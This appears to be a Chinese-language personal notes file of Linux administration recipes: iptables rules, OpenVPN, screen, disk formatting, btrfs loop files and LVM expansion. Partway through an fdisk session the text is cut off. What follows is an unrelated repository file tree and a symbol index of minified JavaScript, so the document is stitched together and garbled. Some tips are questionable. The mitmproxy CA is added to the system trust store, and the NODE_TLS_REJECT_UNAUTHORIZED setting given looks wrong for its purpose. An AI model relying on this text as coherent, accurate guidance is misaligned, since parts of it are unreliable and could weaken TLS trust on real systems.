sed -i 's/security.ubuntu.com/mirrors.zju.edu.cn/g' /etc/apt/sources.list
sed -i 's/archive.ubuntu.com/mirrors.zju.edu.cn/g' /etc/apt/sources.list
```
## 单网卡获得多个IP
ifconfig eth0:233 10.xx.xx.233 netmask 255.255.255.0 up
## 解决apt依赖问题
问题描述:服务器为ubuntu14.04版本,某些不明操作后,无法用`apt-get`安装任何东西
```bash
> apt-get -f install
Reading package lists... Done
Building dependency tree
Reading state information... Done
Correcting dependencies... failed.
The following packages have unmet dependencies:
libatk1.0-0 : Depends: libglib2.0-0 (>= 2.41.1) but 2.40.0-2 is installed
libglib2.0-bin : Depends: libglib2.0-0 (= 2.44.0-1ubuntu3) but 2.40.0-2 is installed
libglib2.0-dev : Depends: libglib2.0-0 (= 2.44.0-1ubuntu3) but 2.40.0-2 is installed
libgtk2.0-0 : Depends: libglib2.0-0 (>= 2.41.1) but 2.40.0-2 is installed
E: Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages.
E: Unable to correct dependencies
```
仔细看错误说明,libglib2.0-bin这个软件包要求libglib2.0-0的版本=2.44但是现有的安装版本为2.40
在ubuntu的软件包官网搜索咯:https://launchpad.net/ubuntu/
发现2.44版本的是vivid才提供的,现在系统版本是trusty,自然apt-get装不了
解决方案:
找到报错信息需要的精确匹配的那个deb文件下载咯,例如这里就要下载这个版本的:
https://launchpad.net/ubuntu/vivid/amd64/libglib2.0-0/2.44.0-1ubuntu3
得到deb文件后`dpkg -i 文件名`
### Note
一般apt依赖冲突问题都是由于系统版本与需要的包的版本不一致导致的,检查一下/etc/apt/sources.list看看是否匹配系统版本咯
用apt-get前检查一下sources.list 看与当前`lsb-release -a`是否一致
----
## UnixBench
VPS性能测试工具,耗时较长,耐心等待
```bash
curl https://codeload.github.com/kdlucas/byte-unixbench/zip/v5.1.3>UnixBench.zip
unzip UnixBench.zip
cd byte-unixbench-5.1.3/UnixBench
# apt-get install build-essential
make
screen -S ub
./Run
```
参考数据,均为最低配置:主机屋1590.5;阿里云1470.4;腾讯云1156.0
### 硬盘IO性能测试
```
dd if=/dev/zero of=test bs=64k count=4k oflag=dsync
dd if=/dev/zero of=test bs=8k count=256k conv=fdatasync
```
----
## 清除内存缓存
使用`free -h`查看可用内存前可以执行这个命令,查看除去buffer后的可用内存
```
sync
echo 3 > /proc/sys/vm/drop_caches
```
----
## 使用iptables封ip
### 屏蔽单个IP
iptables -I INPUT -s 123.45.6.7 -j DROP
### 封C段
iptables -I INPUT -s 123.45.6.0/24 -j DROP
### 封B段
iptables -I INPUT -s 123.45.0.0/16 -j DROP
### 封A段
iptables -I INPUT -s 123.0.0.0/8 -j DROP
记得**保存**:
service iptables save
## 删除一条规则
只要把上述的插入规则重写一次,将其中的-I改为-D即可
iptables -D INPUT -s IP地址 -j DROP
如果懒得重写 你也可以先列举出规则所在的id,根据id删除:
```
iptables -L --line-numbers
```
假设你想删除INPUT链的第3条规则:
```
iptables -D INPUT 3
```
## 只允许特定IP访问某端口
iptables的插入次序很重要,先加入的会先匹配,所以拒绝策略应该最后加入
以8888端口为例,只允许10.77.88.99这个IP 和 10.22.33.0/24 这个C段访问,其他来源的访问拒绝 返回connection refused
```
iptables -A INPUT -s 10.77.88.99 -p tcp --dport 8888 -j ACCEPT
iptables -A INPUT -s 10.22.33.0/24 -p tcp --dport 8888 -j ACCEPT
iptables -A INPUT -p tcp --dport 8888 -j REJECT
```
----
## 无root权限使用screen
> https://www.gnu.org/software/screen/
复制相同操作系统下的screen二进制文件,运行前指定环境变量
mkdir -p $HOME/.screen
export SCREENDIR=$HOME/.screen
----
## screen的用法
列出存在的screen:
screen -ls
创建一个名为name的screen:
screen -S name
从screen脱离:
按Ctrl+A后按d
重新连上名称为name的screen:
screen -r name
创建一个screen的自启动,让后台进程获得tty
# 假设写好了一个/root/code.sh
vim /etc/rc.local
# 在最后加入一行,其中NAME替换为自己喜欢的名字
screen -dmS NAME /root/code.sh
举个例子--监测外网能否ping通,如果不能重连zjuvpn:
[code/pingtest.sh](code/pingtest.sh)
----
## 双网卡端口转发,暴露内网端口
@TAG 端口转发
> 来自: https://yq.aliyun.com/wenzhang/show_25824
有两台机器,其中一台A 有内网和外网,B只有内网。
目标: 在外网访问A机器的2121端口,就相当于连上了B机器的ftp(21)
### 环境:
A机器外网IP为 1.2.3.4(eth1) 内网IP为 192.168.1.20 (eth0)
B机器内网为 192.168.1.21
### 实现方法:
首先在A机器上打开端口转发功能
```
echo 1 > /proc/sys/net/ipv4/ip_forward
echo -e "\nnet.ipv4.ip_forward = 1">>/etc/sysctl.conf
sysctl -p
```
然后在A机器上创建iptables规则
```
# 把访问外网2121端口的包转发到内网ftp服务器
iptables -t nat -I PREROUTING -d 1.2.3.4 -p tcp --dport 2121 -j DNAT --to 192.168.1.21:21
# 把到内网ftp服务器的包回源到内网网卡上,不然包只能转到ftp服务器,而返回的包不能到达客户端
iptables -t nat -I POSTROUTING -d 192.168.1.21 -p tcp --dport 21 -j SNAT --to 192.168.1.20
# 保存一下规则
service iptables save
```
### 取消转发方法
iptables中把-I改为-D运行就是删除此条规则
----
## 保护重要系统文件防止被删
使用+i标志位使得root用户也不能删除/bin, /sbin, /usr/sbin, /usr/bin, /usr/local/sbin, /usr/local/bin
```
chattr -R +i /bin /sbin /usr/sbin /usr/bin /usr/local/sbin /usr/local/bin
```
设置后无法apt-get安装新软件,需要先取消标志位
```
chattr -R -i /bin /sbin /usr/sbin /usr/bin /usr/local/sbin /usr/local/bin
```
----
## 查看CPU核心个数
一般我会用 `top` 命令,按 `1` 就能看到每个CPU占用情况
但当CPU太多的时候还是需要执行命令的:
```
# 查看物理CPU个数
cat /proc/cpuinfo| grep "physical id"| sort| uniq| wc -l
# 查看每个物理CPU中core的个数(即核数)
cat /proc/cpuinfo| grep "cpu cores"| uniq
# 查看逻辑CPU的个数
cat /proc/cpuinfo| grep "processor"| wc -l
```
----
## 非交互式添加用户
```
useradd username -m
echo username:badpassword|chpasswd
```
添加一个用户名为username的用户并创建home目录,并设置密码为badpassword
----
## 简单OpenVPN配置
一个最最简单的场景:只有一个服务器 一个客户端,在容器中用来给用户直接访问的一个内网IP
参考: https://openvpn.net/index.php/open-source/documentation/miscellaneous/78-static-key-mini-howto.html
### 安装openvpn:
Linux:
```
apt-get install openvpn
```
Windows:
[openvpn.exe](https://d.py3.io/openvpn.exe)
### 生成密钥
```
openvpn --genkey --secret static.key
```
用另外建立的安全通道(SSH)将static.key发给客户端
### 服务端配置
```
ifconfig 10.8.0.1 10.8.0.2
secret /static.key
keepalive 10 60
persist-key
persist-tun
proto udp
port 1194
dev tun0
status /tmp/openvpn-status.log
user nobody
group nogroup
```
在 Ubuntu 中,如果要配置成系统服务的形式,将其保存到/etc/openvpn/myvpn.conf
然后这样启动它:
```
service openvpn@myvpn start
```
这样设置开机自启
```
systemctl enable openvpn@myvpn.service
```
### 客户端配置
```
remote 这里是你的服务器IP 这里是你的服务器端口 udp
dev tun
ifconfig 10.8.0.2 10.8.0.1
secret static.key
```
### 在Docker中使用服务端
参考: https://raw.githubusercontent.com/kylemanna/docker-openvpn/master/bin/ovpn_run
运行容器的时候一定要给参数`--cap-add=NET_ADMIN`
另外还需要在容器中执行:
```
mkdir -p /dev/net
if [ ! -c /dev/net/tun ]; then
mknod /dev/net/tun c 10 200
fi
```
----
## 时区时间设置
参考: http://liumissyou.blog.51cto.com/4828343/1302050
设置为上海时区 UTC+8
```
apt-get install tzdata
cp /etc/localtime /etc/localtime.bak
ln -svf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime
echo "TZ='Asia/Shanghai'">>~/.bashrc
ntpdate cn.pool.ntp.org
```
修改时间可以用:
```
date -s "2017-06-18 16:40:00"
```
----
## 快速地格式化大分区ext4
Linux系统建议使用ext4分区格式,但直接mkfs.ext4 /dev/sda1就有很大的坑:会默认lazyinit在很长一段时间内占用IO
> 参考: [http://fibrevillage.com/storage/474-ext4-lazy-init](http://fibrevillage.com/storage/474-ext4-lazy-init)
适用于存储少量大文件的格式化大硬盘的方法如下,这样不会跳过初始化磁盘的过程而且初始化过程很快:
```
mkfs.ext4 /dev/sdXX -E lazy_itable_init=0,lazy_journal_init=0 -O sparse_super,large_file -m 0 -T largefile4
```
对应的[man文档](http://manpages.ubuntu.com/manpages/precise/en/man8/mkfs.ext4.8.html)
----
## 优化本地ssd性能
参考 https://cloud.google.com/compute/docs/disks/optimizing-pd-performance
https://cloud.google.com/compute/docs/disks/optimizing-local-ssd-performance
```
mkfs.ext4 -E lazy_itable_init=0,lazy_journal_init=0,discard /dev/sdX
mount -o discard,defaults,nobarrier /dev/sdX /mnt
echo none > /sys/block/sdX/queue/scheduler
```
### 调整 readahead 值
对于随机读写的应用如数据库,建议使用更小的readahead值
>较高的 readahead 值可增加吞吐量,但是会占用更多内存和 IOPS。较低的 readahead 值可增加 IOPS,但是会牺牲吞吐量。
>readahead 值为 <desired_readahead_bytes> / 512 字节。
例如预读设置为32KB的话,就应该设置为`32*1024/512=64`
```
blockdev --setra 64 /dev/sdX
```
----
## 添加受信任的CA证书 mitmproxy
@TAG mitm
```
cat ~/.mitmproxy/mitmproxy-ca-cert.pem >> /etc/ssl/certs/ca-certificates.crt
```
对于nodejs这个可能也没用,直接`export NODE_TLS_REJECT_UNAUTHORIZED=1`
----
## 明明还有大量空间却说没有?inode满了!挂载单个文件为btrfs分区
### 问题现象
`df -h`显示还有很多空间,但`echo test>test.txt`会显示`No space left on device`
查到这个: https://wiki.gentoo.org/wiki/Knowledge_Base:No_space_left_on_device_while_there_is_plenty_of_space_available
使用`df -i`查看inodes占用情况,发现确实100%了
### 解决方案
inodes上限在mkfs时就定下来了,不能改动,所以没救了。。。
真没救了嘛? 当然不是,虽然不能写入大量小文件,但还是可以写一个大文件的嘛,就想到挂载单个文件为btrfs分区
#### 1. 删文件 腾出部分inodes
删掉一些不用的小文件,也不用删太多
#### 2. 创建一个1TB的sparse file
参考: https://prefetch.net/blog/2009/07/05/creating-sparse-files-on-linux-hosts-with-dd/
使用dd命令,不将实际内容写入硬盘,能很快执行完成:
```
NAME="filesystem"
dd if=/dev/zero of=${NAME}.img bs=1 count=0 seek=1T
```
执行后ls -alh能看到文件大小为1T,使用`du filesystem.img`查看真实空间
#### 3. 创建磁盘分区
参考: https://www.jamescoyle.net/how-to/2096-use-a-file-as-a-linux-block-device
btrfs参考: https://btrfs.wiki.kernel.org/index.php/Getting_started
```
mkfs.btrfs ${NAME}.img
```
#### 4. 挂载分区
```
mount ${NAME}.img /mnt
```
#### 5. 然后就可以搬运数据过去了
就用mv像往常一样搬咯
#### 一些查看空间的命令
```
# 查看磁盘文件占用空间
du -h filesystem.img
# 查看btrfs元数据占用空间
btrfs filesystem df /mnt
# 也是查看空间
btrfs filesystem usage /mnt
```
#### 6. 卸载设备
```
sudo umount /mnt
sudo losetup -d /dev/loop0
```
----
## 扩容上述单文件btrfs磁盘
@TAG 安全最佳实践
随着不停地写入数据,上面创建的1TB分区就要被写满了!但文件所在物理磁盘还有空间,我们可以这样给btrfs磁盘扩容:
实际文件用truncate增加一个hole;losetup更新loop0的大小;使用btrfs命令给分区扩容
truncate是一个危险的命令,为了避免手抖把空间写小了丢失数据,这里用`--reference`参数指定一个目标大小的文件,例如我们想扩容到1.5T=1536GB
```
dd if=/dev/zero of=temp bs=1 count=0 seek=1536G
ls -alh # 确认文件大小
truncate -r temp filesystem.img
# 假设目前使用的是/dev/loop0
# 你可以这样确认loop0确实是filesystem.img挂载的: losetup --list /dev/loop0
losetup -c /dev/loop0
# 确保目前btrfs分区是挂载着的,btrfs必须先mount才能resize
# mount filesystem.img /mnt
btrfs filesystem resize +500G /mnt
```
参考:
- https://linux.die.net/man/1/truncate
- https://askubuntu.com/questions/260620/resize-dev-loop0-and-increase-space
- https://btrfs.wiki.kernel.org/index.php/UseCases#How_do_I_resize_a_partition.3F_.28shrink.2Fgrow.29
----
## 安全地拔出移动硬盘
首先当然是`sudo umount /mnt`卸载挂载点咯,如何更安全一点呢?
```
udisksctl power-off -b /dev/sdb
```
From: https://unix.stackexchange.com/questions/354138/safest-way-to-remove-usb-drive-on-linux
----
## iptables 让监听在127.0.0.1上的端口可以公网访问
参考: https://unix.stackexchange.com/questions/111433/iptables-redirect-outside-requests-to-127-0-0-1
例如有监听在127.0.0.1:1234的应用,现在想通过ip:5678来访问
```
iptables -t nat -I PREROUTING -p tcp --dport 5678 -j DNAT --to-destination 127.0.0.1:1234
sysctl -w net.ipv4.conf.eth0.route_localnet=1
```
----
## VMWare扩容磁盘 LVM在线扩容
@TAG 虚拟机
参考:
- https://ma.ttias.be/increase-a-vmware-disk-size-vmdk-formatted-as-linux-lvm-without-rebooting/
- https://www.cyberciti.biz/faq/howto-add-disk-to-lvm-volume-on-linux-to-increase-size-of-pool/
- https://ubuntuforums.org/showthread.php?t=2277232
修复`GPT PMBR size mismatch`用`parted -l`输入Fix即可,无需live cd
```
root@docker:/d# parted -l
Warning: Not all of the space available to /dev/sda appears to be used, you can
fix the GPT to use all of the space (an extra 314572800 blocks) or continue with
the current setting?
Fix/Ignore? Fix
Model: VMware Virtual disk (scsi)
Disk /dev/sda: 215GB
Sector size (logical/physical): 512B/512B
Partition Table: gpt
Disk Flags:
Number Start End Size File system Name Flags
1 1049kB 2097kB 1049kB bios_grub
2 2097kB 1076MB 1074MB ext4
3 1076MB 53.7GB 52.6GB
Model: Linux device-mapper (linear) (dm)
Disk /dev/mapper/ubuntu--vg-ubuntu--lv: 52.6GB
Sector size (logical/physical): 512B/512B
Partition Table: loop
Disk Flags:
Number Start End Size File system Flags
1 0.00B 52.6GB 52.6GB ext4
Warning: Unable to open /dev/sr0 read-write (Read-only file system). /dev/sr0 has been opened read-only.
Model: NECVMWar VMware SATA CD00 (scsi)
Disk /dev/sr0: 875MB
Sector size (logical/physical): 2048B/2048B
Partition Table: mac
Disk Flags:
Number Start End Size File system Name Flags
1 2048B 6143B 4096B Apple
2 659MB 662MB 2523kB EFI
root@docker:/d# fdisk -l
Disk /dev/loop0: 91 MiB, 95408128 bytes, 186344 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk /dev/sda: 200 GiB, 214748364800 bytes, 419430400 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: C6597B3B-17F0-482A-AF5D-6056F7788052
Device Start End Sectors Size Type
/dev/sda1 2048 4095 2048 1M BIOS boot
/dev/sda2 4096 2101247 2097152 1G Linux filesystem
/dev/sda3 2101248 104855551 102754304 49G Linux filesystem
Disk /dev/mapper/ubuntu--vg-ubuntu--lv: 49 GiB, 52609155072 bytes, 102752256 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
root@docker:/d# fdisk /dev/sda
Welcome to fdisk (util-linux 2.31.1).
Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.
Command (m for help): n
Partition number (4-128, default 4):
First sector (104855552-419430366, default 104855552):
Last sector, +sectors or +size{K,M,G,T,P} (104855552-419430366, default 419430366):
Created a new partition 4 of type 'Linux filesystem' and of size 150 GiB.
Command (m for help): t
Partition number (1-4, default 4): 4
Partition type (type L to list all types): 8e
Type of partition 4 is unchanged: Linux filesystem.
Command (m for help): w
The partition table has been altered.
Syncing disks.
root@docker:/d# partprobe -s
/dev/sda: gpt partitions 1 2 3 4
/dev/mapper/ubuntu--vg-ubuntu--lv: loop partitions 1
Warning: Unable to open /dev/sr0 read-write (Read-only file system). /dev/sr0 has been opened read-only.
Warning: Unable to open /dev/sr0 read-write (Read-only file system). /dev/sr0 has been opened read-only.
Warning: Unable to open /dev/sr0 read-write (Read-only file system). /dev/sr0 has been opened read-only.
/dev/sr0: mac partitions 1 2
root@docker:/d# fdisk -l
Disk /dev/loop0: 91 MiB, 95408128 bytes, 186344 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk /dev/sda: 200 GiB, 214748364800 bytes, 419430400 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: C6597B3B-17F0-482A-AF5D-6056F7788052
Device Start End Sectors Size Type
/dev/sda1 2048 4095 2048 1M BIOS boot
/dev/sda2 4096 2101247 2097152 1G Linux filesystem
/dev/sda3 2101248 104855551 102754304 49G Linux filesystem
/dev/sda4 104855552 419430366 314574815 150G Linux filesystem
Disk /dev/mapper/ubuntu--vg-ubuntu--lv: 49 GiB, 52609155072 bytes, 102752256 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
root@docker:/d# pvcreate /dev/sda
sda sda1 sda2 sda3 sda4
root@docker:/d# pvcreate /dev/sda4
Physical volume "/dev/sda4" successfully created.
root@docker:/d# vgdisplay
--- Volume group ---
VG Name ubuntu-vg
System ID
Format lvm2
Metadata Areas 1
Metadata Sequence No 3
VG Access read/write
VG Status resizable
MAX LV 0
Cur LV 1
Open LV 1
Max PV 0
Cur PV 1
Act PV 1
VG Size <49.00 GiB
PE Size 4.00 MiB
Total PE 12543
Alloc PE / Size 12543 / <49.00 GiB
Free PE / Size 0 / 0
VG UUID FJI08W-C0Db-dXmu-WPyq-Zlr9-Lejq-xadlCk
root@docker:/d# vgextend ubuntu-vg /dev/sda4
Volume group "ubuntu-vg" successfully extended
root@docker:/d# pvscan
PV /dev/sda3 VG ubuntu-vg lvm2 [<49.00 GiB / 0 free]
PV /dev/sda4 VG ubuntu-vg lvm2 [<150.00 GiB / <150.00 GiB free]
Total: 2 [198.99 GiB] / in use: 2 [198.99 GiB] / in no VG: 0 [0 ]
root@docker:/d# lvextend /dev/ubuntu-vg/ubuntu-lv /dev/sda4
Size of logical volume ubuntu-vg/ubuntu-lv changed from <49.00 GiB (12543 extents) to 198.99 GiB (50942 extents).
Logical volume ubuntu-vg/ubuntu-lv successfully resized.
root@docker:/d# resize2fs /dev/ubuntu-vg/ubuntu-lv
resize2fs 1.44.1 (24-Mar-2018)
Filesystem at /dev/ubuntu-vg/ubuntu-lv is mounted on /; on-line resizing required
old_desc_blocks = 7, new_desc_blocks = 25
The filesystem on /dev/ubuntu-vg/ubuntu-lv is now 52164608 (4k) blocks long.
```
resize2fs可以加上`-p`选项显示进度
### VMWare新添加一块硬盘扩容根目录
@TAG 虚拟机
参考这两篇:
https://www.cyberciti.biz/tips/vmware-add-a-new-hard-disk-without-rebooting-guest.html
https://www.unixmen.com/add-a-new-disk-to-lvm/
```
root@docker3:/d# for i in /sys/class/scsi_host/*; do echo "- - -" > ${i}/scan; done
root@docker3:/d# fdisk -l
Disk /dev/sdb: 1 TiB, 1099511627776 bytes, 2147483648 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
root@docker3:/d# fdisk /dev/sdb
Welcome to fdisk (util-linux 2.31.1).
Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.
Device does not contain a recognized partition table.
Created a new DOS disklabel with disk identifier 0x3289a390
gitextract_dap1uylg/ ├── .gitignore ├── .nojekyll ├── BASH.md ├── BAT.md ├── Bitcoin.md ├── C.md ├── CDN.md ├── CNAME ├── Developer.md ├── Docker.md ├── ETH.md ├── Favorites.md ├── Flask.md ├── Gemfile ├── Git.md ├── GithubProjectRecommendation.md ├── Java.md ├── JavaScript.md ├── Jekyll.md ├── Links.md ├── Linux-SSH.md ├── Linux-VirtualBox.md ├── Linux-backup.md ├── Linux-cli.md ├── Linux-setup.md ├── Misson.md ├── MySQL.md ├── Nginx.md ├── PHP.md ├── PaperReading.md ├── Python.md ├── PythonCourse.md ├── README.md ├── RabbitMQ.md ├── S2-045.md ├── Ubuntu.md ├── WindowsSoftware.md ├── _clicktocompile.bat ├── _config.yml ├── assets/ │ ├── css/ │ │ ├── filelist.txt │ │ └── fonts.css │ └── js/ │ ├── comment.js │ ├── css-vars-ponyfill.js │ └── index.js ├── cURL.md ├── ccfbadge.md ├── code/ │ ├── EasyLogin.py │ ├── Javascript/ │ │ └── 异常.html │ ├── MultiThread_Template.py │ ├── PHP/ │ │ └── ShowDoc.sh │ ├── RVPNKeepAlive.bat │ ├── SpecialJudge_检查输出行顺序无关的答案.c │ ├── Understand_recursion/ │ │ └── example1.c │ ├── autoseed_byr2nhd.py │ ├── ccfbadge.user.js │ ├── ctf.cf_crackme/ │ │ └── zeph1/ │ │ ├── exp.cpp │ │ ├── keygenme1.idb │ │ └── readme.txt │ ├── decisiontree.py │ ├── dfsanexiv2/ │ │ ├── Dockerfile │ │ └── build.sh │ ├── exp.S2-045.py │ ├── fixgbknames.py │ ├── getcert.py │ ├── jshook_preload.js │ ├── newubuntu14.txt │ ├── pingtest.sh │ ├── pinyin.sql │ ├── randomstring.html │ ├── showtiponcc98.user.js │ ├── spider.oncokb.js │ ├── ssgit.txt │ ├── ssprivoxy.txt │ ├── staticwebsite_template_compile.py │ ├── upyun.py │ ├── upyun_purge.py │ ├── xinetd-ctf.conf │ ├── zju_grs_helper.user.js │ ├── 浙大教务网自动评教.txt │ ├── 读fasta文件.py │ └── 静态路由设置.bat ├── compile.sh ├── dfsan.md ├── doc/ │ ├── PAT/ │ │ ├── pat-a-practise/ │ │ │ └── 1005.py │ │ └── pat-b-practise/ │ │ ├── 1001.py │ │ ├── 1002.py │ │ ├── 1003.py │ │ ├── 1004.py │ │ ├── 1005.py │ │ ├── 1006.py │ │ ├── 1007.py │ │ ├── 1008.py │ │ ├── 1009.py │ │ ├── 1010.py │ │ ├── 1011.py │ │ ├── 1012.py │ │ ├── 1013.py │ │ ├── 1014.py │ │ ├── 1023.py │ │ ├── 1063.py │ │ ├── 1064.py │ │ └── 1065.py │ ├── biology/ │ │ └── ecology.md │ ├── github/ │ │ └── github_profile_checklist.md │ ├── how_to_succeed.txt │ ├── pygment_langs.txt │ └── python/ │ └── quickstart.html ├── docs/ │ ├── 404.html │ ├── BASH/ │ │ └── index.html │ ├── BAT/ │ │ └── index.html │ ├── Bitcoin/ │ │ └── index.html │ ├── C/ │ │ └── index.html │ ├── CDN/ │ │ └── index.html │ ├── CNAME │ ├── Developer/ │ │ └── index.html │ ├── Docker/ │ │ └── index.html │ ├── ETH/ │ │ └── index.html │ ├── Favorites/ │ │ └── index.html │ ├── Flask/ │ │ └── index.html │ ├── Git/ │ │ └── index.html │ ├── GithubProjectRecommendation/ │ │ └── index.html │ ├── Java/ │ │ └── index.html │ ├── JavaScript/ │ │ └── index.html │ ├── Jekyll/ │ │ └── index.html │ ├── Links/ │ │ └── index.html │ ├── Linux-SSH/ │ │ └── index.html │ ├── Linux-VirtualBox/ │ │ └── index.html │ ├── Linux-backup/ │ │ └── index.html │ ├── Linux-cli/ │ │ └── index.html │ ├── Linux-setup/ │ │ └── index.html │ ├── Misson/ │ │ └── index.html │ ├── MySQL/ │ │ └── index.html │ ├── Nginx/ │ │ └── index.html │ ├── PHP/ │ │ └── index.html │ ├── PaperReading/ │ │ └── index.html │ ├── Python/ │ │ └── index.html │ ├── PythonCourse/ │ │ └── index.html │ ├── RabbitMQ/ │ │ └── index.html │ ├── S2-045/ │ │ └── index.html │ ├── Ubuntu/ │ │ └── index.html │ ├── WindowsSoftware/ │ │ └── index.html │ ├── assets/ │ │ ├── css/ │ │ │ ├── filelist.txt │ │ │ └── fonts.css │ │ ├── javascripts/ │ │ │ └── lunr/ │ │ │ ├── tinyseg.js │ │ │ └── wordcut.js │ │ └── js/ │ │ ├── comment.js │ │ ├── css-vars-ponyfill.js │ │ └── index.js │ ├── cURL/ │ │ └── index.html │ ├── ccfbadge/ │ │ └── index.html │ ├── code/ │ │ ├── EasyLogin.py │ │ ├── Javascript/ │ │ │ └── 异常.html │ │ ├── MultiThread_Template.py │ │ ├── PHP/ │ │ │ └── ShowDoc.sh │ │ ├── RVPNKeepAlive.bat │ │ ├── SpecialJudge_检查输出行顺序无关的答案.c │ │ ├── Understand_recursion/ │ │ │ └── example1.c │ │ ├── autoseed_byr2nhd.py │ │ ├── ccfbadge.user.js │ │ ├── ctf.cf_crackme/ │ │ │ └── zeph1/ │ │ │ ├── exp.cpp │ │ │ ├── keygenme1.idb │ │ │ └── readme.txt │ │ ├── decisiontree.py │ │ ├── dfsanexiv2/ │ │ │ ├── Dockerfile │ │ │ └── build.sh │ │ ├── exp.S2-045.py │ │ ├── fixgbknames.py │ │ ├── getcert.py │ │ ├── jshook_preload.js │ │ ├── newubuntu14.txt │ │ ├── pingtest.sh │ │ ├── pinyin.sql │ │ ├── randomstring.html │ │ ├── showtiponcc98.user.js │ │ ├── spider.oncokb.js │ │ ├── ssgit.txt │ │ ├── ssprivoxy.txt │ │ ├── staticwebsite_template_compile.py │ │ ├── upyun.py │ │ ├── upyun_purge.py │ │ ├── xinetd-ctf.conf │ │ ├── zju_grs_helper.user.js │ │ ├── 浙大教务网自动评教.txt │ │ ├── 读fasta文件.py │ │ └── 静态路由设置.bat │ ├── dfsan/ │ │ └── index.html │ ├── doc/ │ │ ├── PAT/ │ │ │ ├── pat-a-practise/ │ │ │ │ └── 1005.py │ │ │ └── pat-b-practise/ │ │ │ ├── 1001.py │ │ │ ├── 1002.py │ │ │ ├── 1003.py │ │ │ ├── 1004.py │ │ │ ├── 1005.py │ │ │ ├── 1006.py │ │ │ ├── 1007.py │ │ │ ├── 1008.py │ │ │ ├── 1009.py │ │ │ ├── 1010.py │ │ │ ├── 1011.py │ │ │ ├── 1012.py │ │ │ ├── 1013.py │ │ │ ├── 1014.py │ │ │ ├── 1023.py │ │ │ ├── 1063.py │ │ │ ├── 1064.py │ │ │ └── 1065.py │ │ ├── biology/ │ │ │ └── ecology/ │ │ │ └── index.html │ │ ├── github/ │ │ │ └── github_profile_checklist/ │ │ │ └── index.html │ │ ├── how_to_succeed.txt │ │ ├── pygment_langs.txt │ │ └── python/ │ │ └── quickstart.html │ ├── download/ │ │ └── switchyomega.crx │ ├── gist/ │ │ └── index.html │ ├── index.html │ ├── p.html │ ├── quickstart.html │ ├── search/ │ │ └── search_index.json │ ├── sitemap.xml │ ├── zjugrshelper/ │ │ └── index.html │ └── 谈谈安全/ │ └── index.html ├── download/ │ └── switchyomega.crx ├── gist.md ├── mkdocs.yml ├── paperreading/ │ ├── .obsidian/ │ │ ├── config │ │ ├── graph.json │ │ ├── plugins/ │ │ │ └── cm-editor-syntax-highlight-obsidian/ │ │ │ ├── manifest.json │ │ │ └── styles.css │ │ └── workspace │ ├── ProFuzzBench Arxiv.md │ ├── ccs2020.md │ └── kennyloggings ccs2020.md ├── tagalias.txt ├── zjugrshelper.md └── 谈谈安全.md
SYMBOL INDEX (666 symbols across 46 files)
FILE: assets/js/comment.js
function j (line 4) | function j(e){var t=e.length,n=x.type(e);return x.isWindow(e)?!1:1===e.n...
function ot (line 4) | function ot(e,t,r,i){var o,s,a,u,l,f,g,m,x,w;if((t?t.ownerDocument||t:b)...
function st (line 4) | function st(){var e=[];function t(n,r){return e.push(n+=" ")>i.cacheLeng...
function at (line 4) | function at(e){return e[v]=!0,e}
function ut (line 4) | function ut(e){var t=p.createElement("div");try{return!!e(t)}catch(n){re...
function lt (line 4) | function lt(e,t){var n=e.split("|"),r=e.length;while(r--)i.attrHandle[n[...
function ct (line 4) | function ct(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&(~t.sou...
function pt (line 4) | function pt(e){return function(t){var n=t.nodeName.toLowerCase();return"...
function ft (line 4) | function ft(e){return function(t){var n=t.nodeName.toLowerCase();return(...
function ht (line 4) | function ht(e){return at(function(t){return t=+t,at(function(n,r){var i,...
function dt (line 4) | function dt(){}
function gt (line 4) | function gt(e,t){var n,r,o,s,a,u,l,c=k[e+" "];if(c)return t?0:c.slice(0)...
function mt (line 4) | function mt(e){var t=0,n=e.length,r="";for(;n>t;t++)r+=e[t].value;return r}
function yt (line 4) | function yt(e,t,n){var i=t.dir,o=n&&"parentNode"===i,s=T++;return t.firs...
function vt (line 4) | function vt(e){return e.length>1?function(t,n,r){var i=e.length;while(i-...
function xt (line 4) | function xt(e,t,n,r,i){var o,s=[],a=0,u=e.length,l=null!=t;for(;u>a;a++)...
function bt (line 4) | function bt(e,t,n,r,i,o){return r&&!r[v]&&(r=bt(r)),i&&!i[v]&&(i=bt(i,o)...
function wt (line 4) | function wt(e){var t,n,r,o=e.length,s=i.relative[e[0].type],a=s||i.relat...
function Tt (line 4) | function Tt(e,t){var n=0,o=t.length>0,s=e.length>0,a=function(a,l,c,f,h)...
function Ct (line 4) | function Ct(e,t,n){var r=0,i=t.length;for(;i>r;r++)ot(e,t[r],n);return n}
function kt (line 4) | function kt(e,t,r,o){var s,u,l,c,p,f=gt(e);if(!o&&1===f.length){if(u=f[0...
function A (line 4) | function A(e){var t=D[e]={};return x.each(e.match(w)||[],function(e,n){t...
function F (line 4) | function F(){Object.defineProperty(this.cache={},0,{get:function(){retur...
function P (line 4) | function P(e,t,n){var r;if(n===undefined&&1===e.nodeType)if(r="data-"+t....
function U (line 5) | function U(){return!0}
function Y (line 5) | function Y(){return!1}
function V (line 5) | function V(){try{return o.activeElement}catch(e){}}
function Z (line 5) | function Z(e,t){while((e=e[t])&&1!==e.nodeType);return e}
